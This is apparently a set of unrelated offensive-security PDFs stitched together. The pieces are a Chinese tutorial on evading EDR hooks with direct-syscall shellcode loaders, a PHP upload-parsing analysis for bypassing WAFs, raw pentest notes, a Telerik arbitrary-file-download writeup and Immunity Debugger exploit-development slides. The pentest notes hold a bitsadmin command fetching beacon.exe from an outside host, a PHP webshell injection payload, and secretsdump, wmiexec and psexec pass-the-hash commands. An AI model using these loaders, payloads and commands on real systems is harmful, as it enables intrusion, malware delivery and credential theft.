PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer ); 2. 直接调⽤NtCreateThreadEx 现在我们要越过 CreateThread() 直接调⽤ NtCreateThreadEx() ,以规避EDR对⽤户层API函 数的hook,下⾯是实现代码: #include <iostream> #include <Windows.h> typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer ); int main() { HANDLE pHandle = NULL; HANDLE tHandle = NULL; unsigned char shellcode[] = ""; // calc x64 void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); HMODULE hModule = LoadLibrary(L"ntdll.dll"); pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(hModule, "NtCreateThreadEx"); NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE, NULL, NULL, NULL, NULL); Sleep(1000); CloseHandle(tHandle); CloseHandle(pHandle); } 可以看到,调⽤栈⾥没有出现 CreateThread() : 3. 调⽤Syscall 现在已经去掉了 CreateThread() 的调⽤特征,但如果EDR对 ntdll.dll 也做了hook,我们就 需要利⽤Syscall来规避了。 在Visual Studio中⽣成⾃定义外部依赖,选择 masm : 新建⼀个 syscall.asm ,属性的项类型选择 Microsoft Macro Assembler ,内容写⼊: .code NtCreateThreadEx proc mov r10,rcx mov eax,0C1h syscall ret NtCreateThreadEx endp end 这⾥的系统服务号需要根据⽬标系统⾃⾏修改,我的测试环境为 Win10 20H2 x64 . 其他部分代码,只需要稍微修改以下之前的即可: #include <iostream> #include <Windows.h> EXTERN_C NTSTATUS NtCreateThreadEx ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN PVOID ObjectAttributes, IN HANDLE ProcessHandle, IN PVOID lpStartAddress, IN PVOID lpParameter, IN ULONG Flags, IN SIZE_T StackZeroBits, IN SIZE_T SizeOfStackCommit, IN SIZE_T SizeOfStackReserve, OUT PVOID lpBytesBuffer ); int main() { HANDLE pHandle = NULL; HANDLE tHandle = NULL; unsigned char shellcode[] = ""; // calc x64 void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); HMODULE hModule = LoadLibrary(L"ntdll.dll"); pHandle = GetCurrentProcess(); NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE, NULL, NULL, NULL, NULL); Sleep(1000); CloseHandle(tHandle); CloseHandle(pHandle); } 效果如下: 这⾥在⽤户层已经没有了调⽤ ntdll!NtCreateThreadEx 的痕迹, U5 那⾥的 NtCreateThreadEx 只是因为⾃定义的函数也叫这个名字,更改⼀下即可: 三、利⽤⼯具 关于Syscall最有名的⼯具应该就是Syswhispers和SysWhispers2,分别来介绍⼀下。 Syswhispers 可以根据你要规避的函数⾃动⽣成头⽂件和 .asm ⽂件,并且还能适配系统版本: # 导出所有函数,并且兼容所有⽀持版本的Windows py .\syswhispers.py --preset all -o syscalls_all # 仅仅导出常规函数,兼容Windows 7, 8, 10. py .\syswhispers.py --preset common -o syscalls_common # 导出NtProtectVirtualMemory和NtWriteVirtualMemory,兼容所有⽀持版本的Windows py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem # 导出所有兼容Windows 7, 8, 10的函数 py .\syswhispers.py --versions 7,8,10 -o syscalls_78X 继续以 NtCreateThreadEx 为例: 在项⽬中导⼊这两个作为头⽂件,在Visual Studio中⽣成⾃定义外部依赖,选择 masm ;属性 的项类型选择 Microsoft Macro Assembler ,代码示例: #include <iostream> #include <Windows.h> #include "syscalls_78X.h" int main() { HANDLE pHandle = NULL; HANDLE tHandle = NULL; unsigned char shellcode[] = ""; void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); HMODULE hModule = LoadLibrary(L"ntdll.dll"); pHandle = GetCurrentProcess(); NtCreateThreadEx(&tHandle, 0x1FFFFF, NULL, pHandle, exec, NULL, FALSE, NULL, NULL, NULL, NULL); Sleep(1000); CloseHandle(tHandle); CloseHandle(pHandle); } 效果和之前是⼀样的。 SysWhispers2 是 SysWhispers 的改进,相较后者,它使⽤了系统调⽤地址排序的⽅式来解决系 统调⽤号匹配的问题,具体步骤为: 获取 ntdll.dll 的所有导出函数 计算函数名的哈希,将其和对应的函数地址保存在 SW2_SYSCALL_ENTRY 结构体中 按照函数地址,将⼀个 SW2_SYSCALL_ENTRY 从⼩到⼤排序 需要调⽤某个函数时,计算出函数名的哈希,遍历对⽐ SW2_SYSCALL_ENTRY 获得数组序号,这 个序号就是系统调⽤号 ⼀开始没能理解这样做的原理,后⾯经过@伍默以及@hl0rey的点拨,⽤IDA看了⼀下 ntdll.dll 的导出函数以及对应的系统调⽤号,发现: 所以按地址从⼩到⼤排序后,数组的下标就相当于系统调⽤号。这⾥的规则只适⽤于 ntdll.dll ,⽬前最新版本的Windows 10也还适⽤。 SysWhispers2 会⽣成3个⽂件,多了⼀个 .c ⽂件,⾥⾯是地址排序和根据哈希查找的实现,需 要导⼊到源代码部分。 四、检测与对抗 对于这种防御规避⼿段,也有研究者找到了相应的检测⽅法。 正常系统调⽤都是在 ntdll.dll 的地址范围内完成的,⽽使⽤直接syscall的⽅式是⾃⼰实现 ntdll 的相关导出函数,这样只要检测调⽤syscall的地址是否在 ntdll.dll 的地址范围内就可 以分辨哪些是正常系统调⽤,哪些是恶意软件。 研究者还给出了⼀个绕过上⾯检测的⽅法。EDR不能hook每个函数,所以可以先获取正常系 统调⽤的地址,再使⽤ jmp 指令跳转到正常系统调⽤处,以规避上⾯的检测⽅式,⽂章地址: https://passthehashbrowns.github.io/hiding-your-syscalls 参考⽂章 https://www.anquanke.com/post/id/261582 https://blog.csdn.net/weixin_30480859/article/details/113370270 https://passthehashbrowns.github.io/detecting-direct-syscalls-with-frida https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of- system-calls-for-red-teams/ https://idiotc4t.com/defense-evasion/overwrite-winapi-bypassav
pdf
1 php⽂件上传处理流程简单分析-php在流量层⾯ 绕waf的姿势 boundary值处理 body处理 filename的特殊处理 作者:⽩帽酱 php⽂件上传处理在 main/rfc1867.c 中的 rfc1867_post_handler函数 测试环境 PHP 7.1.9 boundary值处理 2 SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) C 复制代码 if (SG(post_max_size) > 0 && SG(request_info).content_length > SG(post_max_size)) {    sapi_module.sapi_error(E_WARNING, "POST Content-Length of " ZEND_LONG_FMT " bytes exceeds the limit of " ZEND_LONG_FMT " bytes", SG(request_info).content_length, SG(post_max_size));    return; } /* Get the boundary */ boundary = strstr(content_type_dup, "boundary");//查找是否包含boundary if (!boundary) {    int content_type_len = (int)strlen(content_type_dup);    char *content_type_lcase = estrndup(content_type_dup, content_type_len);    php_strtolower(content_type_lcase, content_type_len);    boundary = strstr(content_type_lcase, "boundary");    if (boundary) {        boundary = content_type_dup + (boundary - content_type_lcase);   }    efree(content_type_lcase); } if (!boundary || !(boundary = strchr(boundary, '='))) {//判断boundary值起始 位置    sapi_module.sapi_error(E_WARNING, "Missing boundary in multipart/form-data POST data");    return;//传⼊畸形的boundary会抛出警告 (可以⽤来检测⽬标php是否开启错误回显) } boundary++; boundary_len = (int)strlen(boundary); if (boundary[0] == '"') {//引号包裹    boundary++;    boundary_end = strchr(boundary, '"');    if (!boundary_end) {        sapi_module.sapi_error(E_WARNING, "Invalid boundary in multipart/form-data POST data");        return;   } } else {//⾮引号包裹    /* search for the end of the boundary */    boundary_end = strpbrk(boundary, ",;");//截⽌字符 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 3 ⾸先,php先从Content-Type是否包含boundary字符串 之后寻找等号的位置作为起始位置,获取boundary值。 boundary的值有引号包裹和⽆引号包裹两种情况 在⽆引号包裹时,可以使⽤逗号或分号作为终⽌字符。 到这⾥就可以总结出有效boundary格式了 {任意字符}boundary{除等号外任意字符}=["]{boundary内容}["][[,;]{任意字符}] if (boundary_end) {    boundary_end[0] = '\0';    boundary_len = boundary_end-boundary; } /* Initialize the buffer */ if (!(mbuff = multipart_buffer_new(boundary, boundary_len))) {    sapi_module.sapi_error(E_WARNING, "Unable to initialize the input buffer");    return; } 39 40 41 42 43 44 45 46 47 48 4 在获取boundary值之后 调⽤multipart_buffer_new来⽣成multipart的缓冲区 函数内定义了body中的分界线 --boundary值 结合上⾯⼏个特性构造⼀个⽐较极端的例⼦: multipart_buffer_new(char *boundary, int boundary_len) C 复制代码 static multipart_buffer *multipart_buffer_new(char *boundary, int boundary_len) {    multipart_buffer *self = (multipart_buffer *) ecalloc(1, sizeof(multipart_buffer));    int minsize = boundary_len + 6;    if (minsize < FILLUNIT) minsize = FILLUNIT;    self->buffer = (char *) ecalloc(1, minsize + 1);    self->bufsize = minsize;    spprintf(&self->boundary, 0, "--%s", boundary);    self->boundary_next_len = (int)spprintf(&self->boundary_next, 0, "\n- -%s", boundary);    self->buf_begin = self->buffer;    self->bytes_in_buffer = 0;    if (php_rfc1867_encoding_translation()) {        php_rfc1867_get_detect_order(&self->detect_order, &self- >detect_order_size);   } else {        self->detect_order = NULL;        self->detect_order_size = 0;   }    self->input_encoding = NULL;    return self; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 5 下⾯开始body的处理 body处理 6 C 复制代码 if (!multipart_buffer_headers(mbuff, &header)) { //获取multipart头 goto fileupload_done; } if ((cd = php_mime_get_hdr_value(header, "Content-Disposition"))) { char *pair = NULL; int end = 0; while (isspace(*cd)) { ++cd; } while (*cd && (pair = getword(mbuff->input_encoding, &cd, ';'))) { char *key = NULL, *word = pair; while (isspace(*cd)) { ++cd; } if (strchr(pair, '=')) { key = getword(mbuff->input_encoding, &pair, '='); if (!strcasecmp(key, "name")) { if (param) { efree(param); } param = getword_conf(mbuff->input_encoding, pair); if (mbuff->input_encoding && internal_encoding) { unsigned char *new_param; size_t new_param_len; if ((size_t)-1 != zend_multibyte_encoding_converter(&new_param, &new_param_len, (unsigned char *)param, strlen(param), internal_encoding, mbuff->input_encoding)) { efree(param); param = (char *)new_param; } } } else if (!strcasecmp(key, "filename")) { if (filename) { efree(filename); } filename = getword_conf(mbuff->input_encoding, pair); if (mbuff->input_encoding && internal_encoding) { unsigned char *new_filename; size_t new_filename_len; if ((size_t)-1 != zend_multibyte_encoding_converter(&new_filename, &new_filename_len, (unsigned char *)filename, strlen(filename), internal_encoding, mbuff- >input_encoding)) { efree(filename); filename = (char *)new_filename; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 7 } } } } if (key) { efree(key); } efree(word); } 41 42 43 44 45 46 47 48 49 8 获取multipart头 C 复制代码 static int multipart_buffer_headers(multipart_buffer *self, zend_llist *header) { char *line; mime_header_entry entry = {0}; smart_string buf_value = {0}; char *key = NULL; /* didn't find boundary, abort */ if (!find_boundary(self, self->boundary)) {//匹配分界线 return 0; } /* get lines of text, or CRLF_CRLF */ while ((line = get_line(self)) && line[0] != '\0') {//获取下⼀⾏字符串 [1] /* add header to table */ char *value = NULL; if (php_rfc1867_encoding_translation()) { //[2] 判断编码 之后处理字 符串会⽤到 好像默认禁⽤ 写死了返回0?? self->input_encoding = zend_multibyte_encoding_detector((const unsigned char *) line, strlen(line), self->detect_order, self->detect_order_size); } /* space in the beginning means same header */ if (!isspace(line[0])) { value = strchr(line, ':'); } if (value) { if (buf_value.c && key) { /* new entry, add the old one to the list */ smart_string_0(&buf_value); entry.key = key; entry.value = buf_value.c; zend_llist_add_element(header, &entry); buf_value.c = NULL; key = NULL; } *value = '\0'; do { value++; } while (isspace(*value)); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 9 这个过程有⼏个值得注意的点 [1] multipart中换⾏可以不是CLRF,只需要包含⼀个\n就会判断为新⾏。 key = estrdup(line); smart_string_appends(&buf_value, value); } else if (buf_value.c) { /* If no ':' on the line, add to previous line */ smart_string_appends(&buf_value, line);  //[2] 如果没有冒号就作 为上⼀⾏的值 } else { continue; } } if (buf_value.c && key) { /* add the last one to the list */ smart_string_0(&buf_value); entry.key = key; entry.value = buf_value.c; zend_llist_add_element(header, &entry); } return 1; } 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 C 复制代码 static char *get_line(multipart_buffer *self) { char* ptr = next_line(self); if (!ptr) { fill_buffer(self); ptr = next_line(self); } return ptr; } 1 2 3 4 5 6 7 8 9 10 11 10 11 [2] 如果当前⾏没有冒号就和上⼀⾏合并 这个就好玩了 直接⼀个字符⼀⾏ 秒杀低端waf x) [3] multipart前后可以填充垃圾数据 为了兼容⽼旧的IE浏览器 需要对包含路径的⽂件名进⾏处理 如果⽂件名包含/ 会取/后⾯字符串作为⽂件名 filename的特殊处理 12 C 复制代码 /* The \ check should technically be needed for win32 systems only where * it is a valid path separator. However, IE in all it's wisdom always sends * the full path of the file on the user's filesystem, which means that unless * the user does basename() they get a bogus file name. Until IE's user base drops * to nill or problem is fixed this code must remain enabled for all systems. */ s = _basename(internal_encoding, filename); if (!s) { s = filename; } PHPAPI zend_string *php_basename(const char *s, size_t len, char *suffix, size_t sufflen) { char *c; const char *comp, *cend; size_t inc_len, cnt; int state; zend_string *ret; comp = cend = c = (char*)s; cnt = len; state = 0; while (cnt > 0) { inc_len = (*c == '\0' ? 1 : php_mblen(c, cnt)); switch (inc_len) { case -2: case -1: inc_len = 1; php_mb_reset(); break; case 0: goto quit_loop; case 1: #if defined(PHP_WIN32) if (*c == '/' || *c == '\\') { #else if (*c == '/') { #endif if (state == 1) { state = 0; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 13 cend = c; } #if defined(PHP_WIN32) /* Catch relative paths in c:file.txt style. They're not to confuse   with the NTFS streams. This part ensures also, that no drive   letter traversing happens. */ } else if ((*c == ':' && (c - comp == 1))) { if (state == 0) { comp = c; state = 1; } else { cend = c; state = 0; } #endif } else { if (state == 0) { comp = c; state = 1; } } break; default: if (state == 0) { comp = c; state = 1; } break; } c += inc_len; cnt -= inc_len; } quit_loop: if (state == 1) { cend = c; } if (suffix != NULL && sufflen < (size_t)(cend - comp) && memcmp(cend - sufflen, suffix, sufflen) == 0) { cend -= sufflen; } len = cend - comp; ret = zend_string_init(comp, len, 0); return ret; 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 14 } 87 88
pdf
Jenkins PCIWriteUP println'"bitsadmin'/rawreturn'/transfer'getfile'https://xxxxxx.myqcloud.com/beacon.exe'C:\ \\Windows\\Temp\\beacon.exe".execute().text tomcat ​ 4imagesgetshell <?php'$_GET[a]($_GET[b]);?> https://10.10.6.188/search.php?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%2 9,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; shell'net'group'"Domain'Controllers"'/domain shell'net'config'workstation ​ python3'secretsdump.py'-hashes':31d6cfe0d16ae931b73c59d7e0c089c0''polo.shirts.corp/STRIPED [email protected]' python3'wmiexec.py'polo.shirts.corp/[email protected]'-hashes':a0344e117c4fa1a0b7ce bc63c1e8ed12 python3'psexec.py'-hashes'aad3b435b51404eeaad3b435b51404ee:b983c6d950041cd3fe5984ea272aa9f 4'[email protected]'-c'/Users/xxxx/Documents/beacon.exe ​
pdf
Telerik.Web.UI for ASP.NET AJAX某版本存在 任意文件下载漏洞: 在做渗透测试任务时,遇到一个ASP.NET站点.通过目录扫描发现存在 Telerik.Web.UI.WebResource.axd 路径。此路径是第三方控件 Telerik UI FOR ASP.NET 在 web.config 中映射的 handler 查阅历史相关漏洞后主要有以下 CVE 2014-2217 CVE-2017-11317 CVE-2017-11357 CVE-2017-9248 CVE-2019-18935 上面这几个已知漏洞基本都是围绕默认 key 实现序列化配置类上传恶意文件,后者是前 者禁用 ../ 后的绕过。存储路径以及类型都是由反序列化内容后进行解密而来。 key 的 配置一般都在web.config文件中。 而该系统类似于一个信息管理系统,在没有可登录账号的情况下。很难挖掘一些未授权 漏洞。因此,打算从 Telerik 入手。挖掘其他未知漏洞。 在下载对应的 Telerik.WEB.UI.dll 后,进行审计。 常见的 handler 配置都是将 Telerik.Web.UI.WebResource.axd 路径的请求交给 Telerik.Web.UI 程序集下的 WebResource 类进行处理。 <add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" name="Telerik"/> 切入 WebResource ,根据ASP.NET的方法执行顺序,该类会先执行 ProcessRequest 方法。 public override void ProcessRequest(HttpContext context) { HandlerRouter handlerRouter = new HandlerRouter(); if (!handlerRouter.ProcessHandler(context)) { CombinedScriptWriter.WriteCombinedScriptFile(this, context); } } 先实例化了 HandlerRouter 类。后调用 ProcessHandler 方法。如果不满足if条件,则会进 入 WriteCombinedScriptFile 方法。 ProcessHandler 中会先调用 ExtractKey 方法,从请求中获取参数的值。 public bool ProcessHandler(HttpContext context) { string text = this.ExtractKey(context); return !string.IsNullOrEmpty(text) && this.ProcessHandler(text, context); } // Token: 0x0600362D RID: 13869 RVA: 0x000B2223 File Offset: 0x000B0423 private string ExtractKey(HttpContext context) { return context.Request[HandlerRouter.HandlerUrlKey]; } HandlerUrlKey 成员的内容为 type internal static string HandlerUrlKey { get { return "type"; } } 先从请求中获取变量 type 的值,不为空则进入 ProcessHandler 的重载方法,根据传入 type 内容进行分发。 public bool ProcessHandler(string handlerKey, HttpContext context) { if (string.IsNullOrEmpty(handlerKey)) { throw new ArgumentNullException("handlerKey"); } this.PopulateHandlers(); if (this._handlers.ContainsKey(handlerKey)) { this._handlers[handlerKey]().ProcessRequest(context); return true; } return false; } _handlers 在 PopulateHandlers 方法中被定义. protected virtual void PopulateHandlers() { this.Handlers.Add(RadBinaryImage.HandlerRouterKey, () => new RadBinaryImageHandler()); this.Handlers.Add(RadCaptcha.HandlerRouterKey, () => new CaptchaImageHandler()); this.Handlers.Add(RadAsyncUpload.HandlerRouterKey, () => new AsyncUploadHandler()); this.Handlers.Add(RadCaptcha.HandlerRouterKeyCaptchaAudio, () => new CaptchaAudioHandler()); this.Handlers.Add(RadImageEditor.HandlerRouterKey, () => new ImageEditorCacheHandler()); } 有以下几种 Type rbi -> RadBinaryImageHandler() rca -> CaptchaImageHandler() rau -> AsyncUploadHandler() cah -> CaptchaAudioHandler() iec -> ImageEditorCacheHandler() 根据 type 进行分发,调用指向handler的 ProcessRequest 方法 已知历史漏洞都指向 rau -> AsyncUploadHandler .索性直接不看。因为这个版本不是很高,最终是在 ImageEditorCacheHandler 中发现了一处任意文件下载漏洞。 public void ProcessRequest(HttpContext context) { string text = context.Request["path"]; string fileName = context.Request["fileName"]; if (string.IsNullOrEmpty(text) || text == "1") { CacheImageProvider imageProvider = this.GetImageProvider(context); string key = context.Request["key"]; EditableImage editableImage = imageProvider.Retrieve(key); this.SendImage(editableImage, context, text, fileName); } else { this.GetImageFromFileSystem(context, text, fileName); } context.ApplicationInstance.CompleteRequest(); } 当 path 参数不为空或者不等于1时,会进入 GetImageFromFileSystem 方法中。 private void GetImageFromFileSystem(HttpContext context, string filePath, string fileName) { filePath = context.Server.MapPath(filePath); if (filePath == null) { return; } StreamReader streamReader = new StreamReader(filePath); BinaryReader binaryReader = new BinaryReader(streamReader.BaseStream); byte[] array = new byte[streamReader.BaseStream.Length]; binaryReader.Read(array, 0, (int)streamReader.BaseStream.Length); if (array == null) { return; } streamReader.Close(); binaryReader.Close(); string text = Path.GetExtension(filePath).Substring(1).ToLowerInvariant(); fileName = (string.IsNullOrEmpty(fileName) ? Path.GetFileName(filePath) : (fileName + "." + text)); this.WriteFile(array, fileName, "image/" + text, context.Response); } 而 GetImageFromFileSystem 方法也比较好理解了。因为这里的 filepath 由 context.Server.MapPath 重新赋值了一次,获得应用程序根目录所在的位置。后面就直 接使用 WriteFile 返回了文件的内容。 导致了任意文件下载。 这个漏洞目前互联网上还没有公开,可能是影响范围比较小。在fofa上进行了资产整理以 及漏洞验证。发现影响量不是很大。只能说后续可以留意下。 后续: 在asp.net中,任意文件下载的利用方法有很多,结合上文环境。可以利用以下两种方法。 1.读取web.config中的内容,获取到 Telerik 的key,使用已知漏洞进行利用 2.任意读取aspx文件, LOGIN.ASPX , INDEX.ASPX .获取程序集的命名。后直接从 BIN 目录 下下载网站源代码所对应的程序集,进行代码审计
pdf
1 Intelligent Debugging for Vulnerability Analysis and Exploit Development Security Research 2 Who am I? ● Damian Gomez, Argentina ● Being working @ Immunity since early 2006 ● Security Research focusing on: – Vulnerability analysis – Exploit development ● VisualSploit lead developer ● Main developer of Immunity Debugger project 3 Introduction An exploit may be coded in multiples languages: - Pascal - Fortran - Lisp - Brainfuck - Cupid - Gap - Kermit - Java - Asm - C - Python - Perl - Shellscript - PHP - Cobol - Foxpro - zmud! - whitespace - yacc - smalltalk - C# - C++ - C-- - C - C-smile - Cocoa - Coffee - Clipper - Delphi - B - A - C 4 - Clist - Kalkulon - ABC - ADA - ALF - Batch - TOM - OZ - Modula-3 - Lingo - Fortress - elastiC - D - cT - AWK - Felix - Guile - MC# - VisualBasic - Nemerle - Objetive-C - Phantom - Prolog - Simula - Snobol - Turing - Blue - Quickbasic - Ruby - S - Obliq - GNU E - COMAL - NetRexx - PL/B - Sather 5 etc 6 Immunity VisualSploit introduced a graphical domain-specific language for exploit development 7 Exploits are a functional representation of Intelligent Debugging Exploit Input Crafting Heap Analysis Memory state manipulation Protocol Analysis 8 We want a debugger with a “rich API” for exploit development ● Simple, understandable interface ● Robust and powerful scripting language for automating intelligent debugging ● Lightweight and fast debugging so as not to corrupt our results when doing complex analysis ● Connectivity to fuzzers and other exploit development tools 9 No one user interface model is perfect for all exploit development situations ● These three main characteristics will help us achieve what we want: – GUI – Command Line – Scripting language 10 A debugger's GUI can take weeks off the time it takes to write an exploit ● Easy visualization of debugee context – Does EAX point to a string I control? Yes! ● Faster to learn for complex commands ● Downside: Slower usage than commandline due to mice 11 The command line is the faster option ● Example GDB commandline: – x/i $pc-4 ● Example WinDBG commandline: – u eip -4 ● Example Immunity Debugger commandline: – u eip -4 12 Immunity Debugger's Scripting Language is Python 2.5 ● Automate tasks as fast as you can think of them ● Powerful included API for manipulating the debugger – Need another API hook? Email [email protected] ● Familiar and easy to learn ● Clean and reusable code with many examples 13 GUI+CLI+Python = Faster, better exploits ● Immunity Debugger integrates these 3 key features to provide a vuln-dev oriented debugger ● Cuts vulnerability development time in half during our testing (Immunity buffer overflow training) ● Allows for the rapid advancement of state-of-the-art techniques for difficult exploits 14 The integration Immunity debugger running a custom script from its command box and controlling the GUI output 15 The Immunity Debugger API: ● The API is simple ● It usually maintains a cache of the requested structures to speed up the experience (especially useful for search functions) ● It can not only perform debugging tasks, but also interact with the current GUI ● Keep in mind that you are creating a new instance on every command run, so the information in it will be regenerated on each run. 16 How deep can we dive with the API? ● Assembly/Disassembly ● Breakpoints ● Read/Write Memory ● Searching ● Execution and stepping ● Analysis ● Interaction with GUI 17 Interacting with the GUI offer: ● New windows for displaying your custom data ● Tables, Dialog boxes, Input dialogs – Create a wizard for complex scripts like findantidep ● Add functionality to already existent windows ● The possibility to create a python based orthogonal drawing algorithm and get something like this: 18 Python API Orthogonal Grapher 19 Immlib: R/W Memory ● readMemory(address, size) ● readLong(address) ● readShort(address) ● readString(address) ● readUntil(address, ending_char) ● writeMemory(address, buf) 20 Immlib: Searching ● The following search functions return a list of addresses where a particular value was found. ● Search(buf) ● searchLong(long_int) ● searchShort(short_int) 21 Immlib: Searching ● Searching Commands ● Commands are sequence of asm instruction with a bit of regexp support – searchCommands(cmd) – SearchCommandsonModule(address, cmd) ● Returns a list of (address, opcodes, module) ● ex: imm.searchCommands(“pop RA\npop RB\nret”) 22 Immlib: Searching ● Keep in mind, that SearchCommands use the disassemble modules to search, so if you want a deeper search (without regexp) you can do: ret = imm.Search(imm.Assemble("jmp EBX")) 23 Immlib: Searching ● Finding a module which an address belongs to: – findModule(address) ● Finding exported function on loaded addresses – findDependencies(lookfor) Note: lookfor is a table of functions to search for 24 Immlib: Getting References ● Getting Code XREF: – getXrefTo(address) – getXrefFrom(address) ● Getting Data XREF – findDataRef(address) 25 Immlib: Knowledge ● Since every run of a script is ephemeral, there is a way to save some data and use it on a second run of the same script or any other script: – imm.addKnowledge(“nocrash”, cpu_context) – imm.getKnowledge(“nocrash”) 26 There are three ways to script Immunity Debugger ● PyCommands ● PyHooks ● PyScripts 27 PyCommands are temporary scripts ● Decrease developing and debugging time ● Non-caching (run , modify, and re-run your PyCommand at will, without restarting the debugger) ● Accessible via command box, or GUI ● Integrate with debugger's features (including the GUI) 28 Scripting Immunity Debugger ● Writing a PyCommand is easy ● command.py import immlib def main(args): imm=immlib.Debugger() imm.Log(“Done”) ● Place it into PyCommands directory and you are ready to go 29 Scripting Immunity Debugger PyHooks: ● Hooks are Objects that hang on debugger events and get executed when that event is hit. ● We have 11 different hooks: class BpHook(Hook) class LogBpHook(Hook) class AllExceptHook(Hook) class PostAnalysisHook(Hook) class AccessViolationHook(Hook) class LoadDLLHook(Hook) class UnloadDLLHook(Hook) class CreateThreadHook(Hook) class ExitThreadHook(Hook) class CreateProcessHook(Hook) class ExitProcessHook(Hook) 30 Scripting Immunity Debugger Creating a Hook is easy: Hooks always has CPU context at runtime 31 Identify common coding problems by running a program under Immunity Debugger ● strncpy(dest, src, strlen(src)) – Common vulnerability primitive ● Similar vulnerabilities, such as memcpy(dest, src, sizeof(src)) are also detectable using slightly more advanced Immunity Debugger API's 32 Hook example: logpoint on strncpy ● Instantiate debugger class ● Set logpoint address [strncpy] ● Create logbphook 33 Hook example: logpoint on strncpy ● The MyOwnHook class Get arguments from CPU context 34 logpoint on strncpy (continuation) Log callstack if the size arg is the same as the src string size 35 Logpoint on strncpy: results debug,debug,debug and check your results: 36 Injecting a hook into your target for debugging ● Logging hook ● Much faster, since it doesn't use the debugger ● Inject ASM code into debugged process ● Hooked function redirects to your asm code ● The information is logged in the same page ● Used in hippie hippie heap analysis tool 37 There are drawbacks to using injection hooking ● Inject Hooking only reports the result, you cannot do conditionals on it (for now) ● Hooking on Functions: 38 Printing the results of an injection hook ● Get the results directly from the log window 39 Heap analysis is one of the most important tasks for exploit development ● Printing the state of a heap ● Closely examining a heap or heap chunk ● Saving and restoring heap state for comparison ● Visualizing the heap ● Automatically analyzing the heap 40 Immunity Debugger Heap Lib ● Getting all current heaps: for hndx in imm.getHeapsAddress(): imm.Log("Heap: 0x%08x" % hndx) ● Getting a Heap object pheap = imm.getHeap( heap ) ● Printing the FreeList pheap.printFreeList( uselog = window.Log ) ● Printing the FreeListInUse pheap.printFreeListInUse(uselog = window.Log) 41 Immunity Debugger Heap Lib ● Printing chunks ● Accessing chunk information 42 Immunity Debugger Heap Lib ● Searching Chunks SearchHeap(imm, what, action, value, heap = heap, option = chunkdisplay) what (size,usize,psize,upsize,flags,address, next,prev) action (=,>,<,>=,<=,&,not,!=) value (value to search for) heap (optional: filter the search by heap) 43 Datatype Discovery Lib ● Finding datatype on memory memory memory to inspect address address of the inspected memory what (all, pointers, strings, asciistrings, unicodestrings, doublelinkedlists, exploitable) 44 Datatype Discovery Lib ● Types of pointers 45 Immunity Debugger Scripts ● Team Immunity has being coding scripts for : – Vulnerability development – Heap – Analysis – Protocols – Search/Find/Compare Memory – Hooking 46 Example Scripts: Safeseh ● safeseh – Shows you all the exception handlers in a process that are registered with SafeSEH. – Code snip: 47 Example Scripts ● Findantidep – Find address to bypass software DEP – A wizard will guide you through the execution of the findantidep script ● Get the result 48 Finding memory leaks magically ● leaksniff – Pick a function – !funsniff function – Fuzz function – Get the leaks 49 Finding datatypes in memory magically ● finddatatype – Specify an address – Set the size to read – Get a list of data types 50 Example Scripts : Chunk analyze ● chunkanalizehook – !chunkanalizehook -a addr_of_rep_mov EDI-8 – Run the script and fuzz – Get the result (aka, see what of your command on the fuzzing get you a overwrite of a Function Ptr or Double Linked list) 51 Example Scripts : duality ● Duality – Looks for mapped address that can be 'transformed' into opcodes 52 Example Scripts : Finding Function Pointers ● !modptr <address> – this tool will do data type recognition looking for all function pointers on a .data section, overwriting them and hooking on Access Violation waiting for one of them to trigger and logging it 53 Case Study: Savant 3.1 Stack Overflow ● Savant webserver (savant.sourceforge.net) ● Stack overflow when sent long get request however... 54 Case Study: Savant 3.1 First problem ● Overwritten stack arguments won't allow us to reach EIP 55 Case Study: Savant 3.1 First problem ● So we need to find a readable address to place as the argument there.... ● And we'll face the second argument: a writable address 56 Case Study: Savant 3.1 To hit EIP: – A readable address – A writable address – The arguments offsets in our 